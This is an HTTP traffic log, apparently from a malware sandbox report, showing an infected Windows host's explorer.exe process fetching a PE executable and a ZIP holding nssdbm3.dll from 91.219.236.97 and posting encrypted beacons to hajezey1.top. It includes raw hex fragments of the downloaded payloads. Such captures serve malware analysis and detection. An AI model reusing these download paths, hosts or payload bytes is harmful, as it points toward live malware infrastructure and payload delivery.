Oct 29, 2021 20:30:35.410000086 CEST	8173	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 18:30:35 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Access-Control-Allow-Origin: * Data Raw: 32 34 61 38 0d 0a 68 52 6b 67 67 6a 6a 72 50 74 45 64 41 30 30 35 6a 51 47 69 34 37 6e 51 44 42 35 4c 68 51 55 4d 36 6d 61 2b 4b 50 63 74 74 74 36 55 74 65 2f 67 56 5a 4b 73 63 66 36 7a 36 79 55 32 30 38 43 41 67 4b 5a 2b 61 78 37 52 50 4d 37 4d 63 75 4e 4c 58 6d 46 66 45 4b 75 6c 48 4d 74 2b 33 69 43 64 34 4f 55 2f 39 46 50 4e 53 49 6b 69 42 64 34 79 59 79 74 52 4c 77 6b 48 49 6a 38 33 66 50 45 6c 32 6c 46 67 6d 65 46 47 6d 32 68 66 31 47 73 77 42 4b 2b 6e 75 66 77 49 32 77 34 59 45 33 47 55 57 68 37 76 74 58 4f 54 4d 69 61 7a 6f 52 71 46 42 74 45 53 73 33 4a 41 45 55 64 4f 45 55 70 41 39 74 59 6c 79 34 77 66 31 37 30 58 6f 35 57 32 4f 41 37 73 6b 64 44 72 32 6d 61 36 4f 70 49 48 35 77 30 49 39 56 45 50 68 64 52 6c 46 52 66 62 38 39 36 48 33 54 69 56 61 37 41 2b 4d 32 37 76 77 64 78 4c 59 47 5a 2f 31 43 62 6a 54 65 59 4d 66 56 53 6c 43 58 30 4f 2f 4a 4c 59 64 57 63 66 44 75 50 4d 38 6d 41 76 75 32 46 70 48 2f 46 78 36 66 5a 36 32 50 7a 62 57 6a 6e 5a 47 72 39 2b 69 77 33 64 34 62 46 2f 67 6d 77 74 6c 4b 4a 64 30 50 59 75 38 6e 45 47 45 2b 73 31 36 46 33 4d 2f 35 72 6c 65 53 44 70 61 6d 62 43 38 44 77 58 37 47 43 37 71 65 37 5a 47 65 33 71 67 58 38 34 46 42 6e 77 39 41 34 59 79 51 6a 65 4f 48 53 6c 70 4c 4d 39 6a 4c 6f 75 73 6e 33 70 34 6a 7a 74 4c 35 46 41 38 79 66 73 6e 76 6e 52 79 4d 6a 34 4d 42 6a 50 6d 79 77 42 64 5a 38 6d 57 59 34 46 54 50 66 45 33 61 6b 31 74 61 61 79 61 33 38 37 78 74 58 51 4c 33 38 2f 4e 4d 35 4b 55 73 2f 59 68 64 79 32 4e 4d 53 33 4f 4d 55 74 4a 59 68 35 61 43 70 34 59 37 33 6e 30 54 44 4d 7a 79 6c 56 54 66 79 30 63 58 59 77 4b 46 74 7a 74 2b 2b 67 74 51 2b 45 2f 4a 33 57 6f 49 70 30 62 6f 4f 79 77 79 6a 48 6c 6a 54 49 4d 71 63 63 68 30 56 4b 56 62 73 4c 73 50 77 30 46 69 53 66 37 2f 62 2f 42 72 39 68 53 5a 68 35 6d 5a 44 52 6d 70 33 34 2f 33 47 76 77 39 61 42 71 6f 72 65 65 44 32 30 51 33 75 42 53 5a 33 44 32 70 36 39 4e 52 78 49 50 32 73 67 65 39 70 70 4e 63 52 5a 43 42 33 44 56 79 41 72 73 43 47 30 6c 4e 52 4d 31 65 66 61 75 58 2f 73 79 61 2f 63 70 63 7a 54 70 77 71 4a 30 34 4f 5a 59 47 30 77 69 75 6f 4f 51 42 52 71 53 30 55 62 74 78 37 38 2b 4d 42 6f 49 63 79 41 47 55 45 57 31 41 61 5a 6f 65 76 45 4b 67 38 68 4d 55 57 6b 4f 54 52 2b 32 55 41 74 6c 46 37 4d 4a 2f 2f 6b 38 48 67 6c 74 70 4b 4c 79 76 68 63 4d 32 6d 5a 2f 51 54 4d 53 58 58 38 65 74 59 79 56 41 4b 72 2b 48 69 65 41 30 6a 77 6e 66 51 30 73 6f 38 6d 41 74 55 4d 74 72 6b 68 6d 4d 4e 76 6d 6c 47 76 64 77 43 5a 31 6d 62 34 50 41 70 53 38 42 50 61 44 68 39 75 63 38 4f 41 6e 59 49 48 71 30 35 42 72 64 33 38 44 70 4d 79 47 46 33 4a 37 64 4b 76 56 56 78 63 39 6b 47 63 2b 4d 31 68 74 56 78 36 51 56 7a 6d 69 77 65 58 4e 58 50 30 77 53 46 77 2b 34 36 79 69 30 33 36 30 62 6a 71 49 73 30 64 4b 39 49 4e 7a 6d 4f 73 41 5a 47 77 38 33 67 44 43 53 33 41 42 62 32 6e 53 65 42 4a 71 4c 41 43 73 68 41 36 73 4b 2f 79 46 32 56 44 6b 6a 42 75 57 49 30 6a 4e 67 32 75 33 4d 39 57 6a 53 73 46 39 4b 71 2b 6b 69 79 66 2b 5a 47 5a 4f 52 56 43 6d 46 4c 75 55 76 64 6a 78 46 46 34 48 58 55 42 6f 51 71 6f 6f 31 39 6a 78 31 51 4e 6f 56 37 74 74 76 72 57 5a 52 66 4e 54 39 4d 74 4e 56 52 41 63 47 68 5a 46 79 31 6a 7a 7a 2f 4b 48 79 42 58 77 63 55 35 37 6a 34 4c 6d 65 35 51 63 6e 30 74 31 66 63 49 30 59 34 2b 59 4f 4b 6a 56 31 47 59 30 67 50 73 35 67 6e 4b 74 61 30 72 6d 6f 54 61 71 57 69 34 34 44 77 43 77 42 6a 4a 63 33 52 69 46 78 30 41 68 52 Data Ascii: 24a8hRkggjjrPtEdA005jQGi47nQDB5LhQUM6ma+KPcttt6Ute/gVZKscf6z6yU208CAgKZ+ax7RPM7McuNLXmFfEKulHMt+3iCd4OU/9FPNSIkiBd4yYytRLwkHIj83fPEl2lFgmeFGm2hf1GswBK+nufwI2w4YE3GUWh7vtXOTMiazoRqFBtESs3JAEUdOEUpA9tYly4wf170Xo5W2OA7skdDr2ma6OpIH5w0I9VEPhdRlFRfb896H3TiVa7A+M27vwdxLYGZ/1CbjTeYMfVSlCX0O/JLYdWcfDuPM8mAvu2FpH/Fx6fZ62PzbWjnZGr9+iw3d4bF/gmwtlKJd0PYu8nEGE+s16F3M/5rleSDpambC8DwX7GC7qe7ZGe3qgX84FBnw9A4YyQjeOHSlpLM9jLousn3p4jztL5FA8yfsnvnRyMj4MBjPmywBdZ8mWY4FTPfE3ak1taaya387xtXQL38/NM5KUs/Yhdy2NMS3OMUtJYh5aCp4Y73n0TDMzylVTfy0cXYwKFtzt++gtQ+E/J3WoIp0boOywyjHljTIMqcch0VKVbsLsPw0FiSf7/b/Br9hSZh5mZDRmp34/3Gvw9aBqoreeD20Q3uBSZ3D2p69NRxIP2sge9ppNcRZCB3DVyArsCG0lNRM1efauX/sya/cpczTpwqJ04OZYG0wiuoOQBRqS0Ubtx78+MBoIcyAGUEW1AaZoevEKg8hMUWkOTR+2UAtlF7MJ//k8HgltpKLyvhcM2mZ/QTMSXX8etYyVAKr+HieA0jwnfQ0so8mAtUMtrkhmMNvmlGvdwCZ1mb4PApS8BPaDh9uc8OAnYIHq05Brd38DpMyGF3J7dKvVVxc9kGc+M1htVx6QVzmiweXNXP0wSFw+46yi0360bjqIs0dK9INzmOsAZGw83gDCS3ABb2nSeBJqLACshA6sK/yF2VDkjBuWI0jNg2u3M9WjSsF9Kq+kiyf+ZGZORVCmFLuUvdjxFF4HXUBoQqoo19jx1QNoV7ttvrWZRfNT9MtNVRAcGhZFy1jzz/KHyBXwcU57j4Lme5Qcn0t1fcI0Y4+YOKjV1GY0gPs5gnKta0rmoTaqWi44DwCwBjJc3RiFx0AhR
Oct 29, 2021 20:30:35.410029888 CEST	8175	IN	Data Raw: 47 2f 31 4a 47 56 6c 44 75 41 6b 5a 4f 63 4b 76 67 37 64 63 35 52 59 70 4d 4d 4b 6d 59 37 4b 70 2b 70 64 75 50 63 55 68 59 4c 43 2b 72 36 36 38 36 63 38 59 53 41 32 70 46 44 74 4c 73 43 7a 49 55 68 35 66 52 47 5a 6e 6b 48 79 59 46 39 6f 59 52 68 Data Ascii: G/1JGVlDuAkZOcKvg7dc5RYpMMKmY7Kp+pduPcUhYLC+r6686c8YSA2pFDtLsCzIUh5fRGZnkHyYF9oYRhYhbKvDvCW67aZokOR5JtuWACQUr8xs9q1e3Bj1G02t4JM3IQAg4yxxV0qIyvXwm+nGK2/DlBCD6uvUs4a6fwx/eTLZmNX+XdadcnGe958Wpx/Bj92JgNpjR0zTP7rW/z+1xuGX+EZunYJG/TX1l1JqheL3kcxSRkL
Oct 29, 2021 20:30:35.410058975 CEST	8176	IN	Data Raw: 47 71 41 33 78 78 33 76 73 6d 6b 64 36 56 4c 76 64 56 72 52 53 68 4f 39 59 61 74 65 2b 6e 4d 75 44 51 56 44 42 5a 7a 5a 4a 47 6f 43 6e 76 51 44 39 51 2b 53 4b 58 47 44 32 78 47 6b 52 4b 64 7a 38 36 41 79 73 7a 70 58 30 62 38 4b 52 31 62 6a 56 65 Data Ascii: GqA3xx3vsmkd6VLvdVrRShO9Yate+nMuDQVDBZzZJGoCnvQD9Q+SKXGD2xGkRKdz86AyszpX0b8KR1bjVeqnUsfJnV6JNlUpMAfLy1j191eVh4GQsjdqHoZn8aCJt7Xa3koRCB9pHJhpvUAQzoir0/TyGHEVfRGVj3aWMWNQoBobcefMO1IOT/pgnyKaAopGUOQZhEtVovuCMwBfyCkCjecOVy9SKIFBfvJJJKSsi/alRcFMegk
Oct 29, 2021 20:30:35.410078049 CEST	8178	IN	Data Raw: 6d 36 64 2f 70 47 55 2b 31 31 52 35 34 34 41 43 35 62 5a 74 36 59 42 4d 52 30 43 31 36 76 6e 61 4d 68 45 57 6f 7a 57 5a 51 72 71 37 46 7a 4e 74 32 72 6c 42 53 59 70 38 4e 48 4c 66 4d 37 50 43 6c 47 71 52 58 55 47 31 66 54 30 33 62 59 5a 53 79 65 Data Ascii: m6d/pGU+11R544AC5bZt6YBMR0C16vnaMhEWozWZQrq7FzNt2rlBSYp8NHLfM7PClGqRXUG1fT03bYZSyegS3GgqJhdV9zp2CPUXShl3z7fO2JdGgXNLRMXRh/Nfiv6ILEv+XsGaEW5ps0VRhmxSJ/VEKZJIbFfWmCmK99zDsGgLdct3AvAkTCAp4GVrsbHlav1VvlypD/V06pCPYUcUsxczv+WNEZ7wI41H98ATWDIIIOVXfec
Oct 29, 2021 20:30:35.410100937 CEST	8179	IN	Data Raw: 51 75 33 4f 37 70 36 36 65 51 53 35 2b 4c 34 5a 6f 31 37 35 39 45 4c 65 68 5a 56 76 6d 71 77 61 30 4b 73 79 58 6c 59 76 42 42 43 51 35 72 45 48 68 52 7a 4e 51 61 4d 35 52 6e 58 2b 52 66 39 41 30 6b 52 6f 55 61 30 44 66 35 55 56 76 54 62 35 4c 71 Data Ascii: Qu3O7p66eQS5+L4Zo1759ELehZVvmqwa0KsyXlYvBBCQ5rEHhRzNQaM5RnX+Rf9A0kRoUa0Df5UVvTb5Lqbd2rcCnbCNM9i8Q3QwFUq2gGEndWC8ph7Ctr/00FZuh0cceq7enT+xsOkAeZ+QiM815p8F7XTBqfHXJjN7zq/MSCAZcU7dQCxKHskFy49Vv9YBqEFGKq2NROJKca86VjTu3NX5D/NzPYbR8SjpcdiypatmYjfGoli
Oct 29, 2021 20:30:35.410120010 CEST	8180	IN	Data Raw: 63 37 4d 34 33 53 6d 44 4e 57 4e 54 46 69 65 35 4c 33 7a 5a 53 6c 75 45 44 66 5a 53 34 4f 41 4a 33 6f 2f 57 63 52 6c 47 4b 54 59 38 44 4b 54 5a 45 50 30 70 43 6d 77 70 67 61 65 6e 30 43 37 32 56 52 48 32 43 5a 76 52 53 68 32 35 76 59 6d 58 39 58 Data Ascii: c7M43SmDNWNTFie5L3zZSluEDfZS4OAJ3o/WcRlGKTY8DKTZEP0pCmwpgaen0C72VRH2CZvRSh25vYmX9X+VCJVJFaMc0R4+ydp6hYmqfPc90hAR0996C1mN7S8XHGQUUmQeV2hCa9UqrM0PgafYRDLJZs1TSq1Ev7Zvs+ntgIbyalDOXghGrVwcoC3WKEHtCZhOQLc/Dcm18BDeJJkL6TcYDIPxFNabcBmeS4vuhbiIw3CAL9r
Oct 29, 2021 20:30:35.410151005 CEST	8182	IN	Data Raw: 70 2f 72 34 6c 39 59 4c 51 30 6f 2b 4c 68 39 31 77 4f 46 59 41 63 77 62 56 79 6d 46 64 57 54 72 30 71 66 33 2b 41 41 69 44 78 63 50 56 48 34 4b 72 6e 5a 66 70 61 41 46 34 32 61 53 51 72 54 36 75 55 45 70 45 4d 32 37 65 6c 33 50 44 6a 57 48 4c 5a Data Ascii: p/r4l9YLQ0o+Lh91wOFYAcwbVymFdWTr0qf3+AAiDxcPVH4KrnZfpaAF42aSQrT6uUEpEM27el3PDjWHLZpNvtH1NXtz4w45NwTzk/pn0BrEbDGr+ASz/CTx9cs49eMYaeeaX/xQTL4uHFI2Ua5AakHDFJjzxENjFd8LLiwfhqL6OB4/Ee9lb37+V0xDwn+h/AkKpL5FHObiCWY59J3/m4r70GvGpVHWFHKJlNVCVf3dudLFwMt
Oct 29, 2021 20:30:35.410166979 CEST	8182	IN	Data Raw: 4f 37 68 55 78 74 6d 5a 4e 4a 37 36 4a 49 56 47 75 76 30 78 47 79 70 65 4a 4f 73 67 4d 56 42 70 68 36 6e 6c 35 75 54 39 66 42 6f 4a 49 72 78 65 75 33 61 34 59 54 59 46 38 4e 63 34 69 71 71 4d 58 70 6c 6f 4e 5a 4b 43 6a 65 50 56 77 4e 54 71 37 72 Data Ascii: O7hUxtmZNJ76JIVGuv0xGypeJOsgMVBph6nl5uT9fBoJIrxeu3a4YTYF8Nc4iqqMXploNZKCjePVwNTq7rYfp+4KPrrYIrHzkmvFsE/rk9shnO8ENkXEXLYky+T+bau946T4PDMLiS1lrYbFgJ9qhe/but45vio3uA+13SN1diqrMhg8HNi4o/YixzAXA97f20cX7EXzI8XtHJzuo5hZBRQUTNrsBG1JYqajhUgVSOKDxSsQ==
Oct 29, 2021 20:30:35.457420111 CEST	8182	OUT	GET //l/f/9Z2CynwB3dP17SpzOnMI/019cd02588367c4185228009642767b5fca228df HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: 91.219.236.97
Oct 29, 2021 20:30:35.692553997 CEST	8184	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 18:30:35 GMT Content-Type: application/octet-stream Content-Length: 916735 Connection: keep-alive Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT ETag: "612fa893-dfcff" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 bc 08 00 00 00 60 0c 00 00 0a 00 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 69 02 00 00 00 70 0c 00 00 04 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 d3 1c 00 00 00 80 0c 00 00 1e 00 00 00 ee 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 90 02 00 00 00 a0 0c 00 00 04 00 00 00 0c 0c 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELt\!Zpa H 03.textXXZ`P`.datap`@`.rdata \|@`@.bss(`.edata "@0@.idataH@0.CRT,@0.tls @0.rsrc @0.reloc304@0B/4p@@B/19@B/31 @B/45@@B/57`@0B/70ip@B/81@B/92
Oct 29, 2021 20:30:35.692573071 CEST	8185	IN	Data Raw: 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B
Oct 29, 2021 20:30:35.692593098 CEST	8186	IN	Data Raw: e8 42 1c 09 00 83 ec 0c 85 c0 89 c5 0f 85 5a ff ff ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 21 1c 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 fa 1b 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc Data Ascii: BZ\|$D$4$!\|$D$4$\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=at9$a`aQtD$
Oct 29, 2021 20:30:35.692610025 CEST	8188	IN	Data Raw: 04 24 ff d2 c9 c3 31 c0 c3 55 31 c0 ba 01 00 00 00 89 e5 83 ec 10 dd 45 08 dd 5d f0 dd 45 f0 dd 5d f8 dd 45 f0 dd 45 f8 c9 df e9 dd d8 0f 9a c0 0f 45 c2 c3 85 c0 74 4d 0f b6 08 80 b9 60 a4 ea 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 Data Ascii: $1U1E]E]EEEtM`ay?U[]DWVS~8u:TuT0A\0AF[8^_]UWVS1<`a`a)uCu[^_]UEUu1t]]UWVMSU}u1
Oct 29, 2021 20:30:46.932389975 CEST	13576	OUT	GET //l/f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: 91.219.236.97
Oct 29, 2021 20:30:47.126317024 CEST	13672	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 18:30:47 GMT Content-Type: application/octet-stream Content-Length: 2828315 Connection: keep-alive Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT ETag: "612fa893-2b281b" Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8 b5 4e a5 3e 11 54 3f 57 4d ea 16 11 b1 29 39 42 d6 86 ce a3 f6 8e bf 00 9e ec 07 96 d8 0f 1c 6d 56 57 b4 9a 9b 8b bb ed 07 62 80 36 7b e5 11 7c 21 da 0f bc 08 ef d4 4f ec 07 12 01 4d 1a 89 8a e5 3e d6 3e c3 24 5c 2e 25 d4 d7 4c d2 88 7a 46 93 6c d0 a5 f6 03 33 9a 95 9d 01 b3 7c 08 b0 30 23 2a 4e 2b ee b7 1f 38 c4 9b e7 35 db 0f c0 ef 4e af e8 8a 55 34 2b 62 80 15 66 53 ff 03 32 3a 63 f6 8e 1f 03 7a e5 b6 04 c0 31 43 a9 1f 92 b6 da 0f 40 41 cd 9d 5a f8 26 b5 d6 a1 f6 95 77 6f 13 d5 d7 e2 16 fb 81 c3 00 52 40 04 Data Ascii: PKznN<{rinssdbm3.dll\|8NY6$J$1D a.jLVCN;}/$Z,TRqcEc=;{sp`A?MW!a?N~eAWo[},;+\Jw\|k<yR^Eonxsc=V,FcuwO[u{<w7P{K~Ewcz^[Z6GV2+n41M.w{fnJL{ dM+ /)$X!LK`MwILA8rIXr87}<]rTWmb6/_aWlB3n_joMz_Q8KgrLH.v6[4I{1g<>M$G&Y-O9\,tWmX Y3S<#}">0RBg,lh.sorp8)3Kvdsn3+]+krMu_Y\/8T&BC"u;ek u$~`{!M\WY37+nQZ3\G5dZhVLZ\|k5XFYlVVWC\|b\Zm 0PF8{]UpRW,nMMs_@>Q N>T?WM)9BmVWb6{\|!OM>>$\.%LzFl3\|0#N+85NU4+bfS2:cz1C@AZ&woR@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49748	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:21.109474897 CEST	726	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cufneavefi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: hajezey1.top
Oct 29, 2021 20:29:21.109504938 CEST	726	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 5f d2 a1 1d Data Ascii: 7v:7AFTmwmwu$f]d_4qVLD<\|!om;n`l1IJYs'NF9.ETNV0+N</ElIwo"?+Yl,oF8jkTQ
Oct 29, 2021 20:29:21.187556982 CEST	726	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49749	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
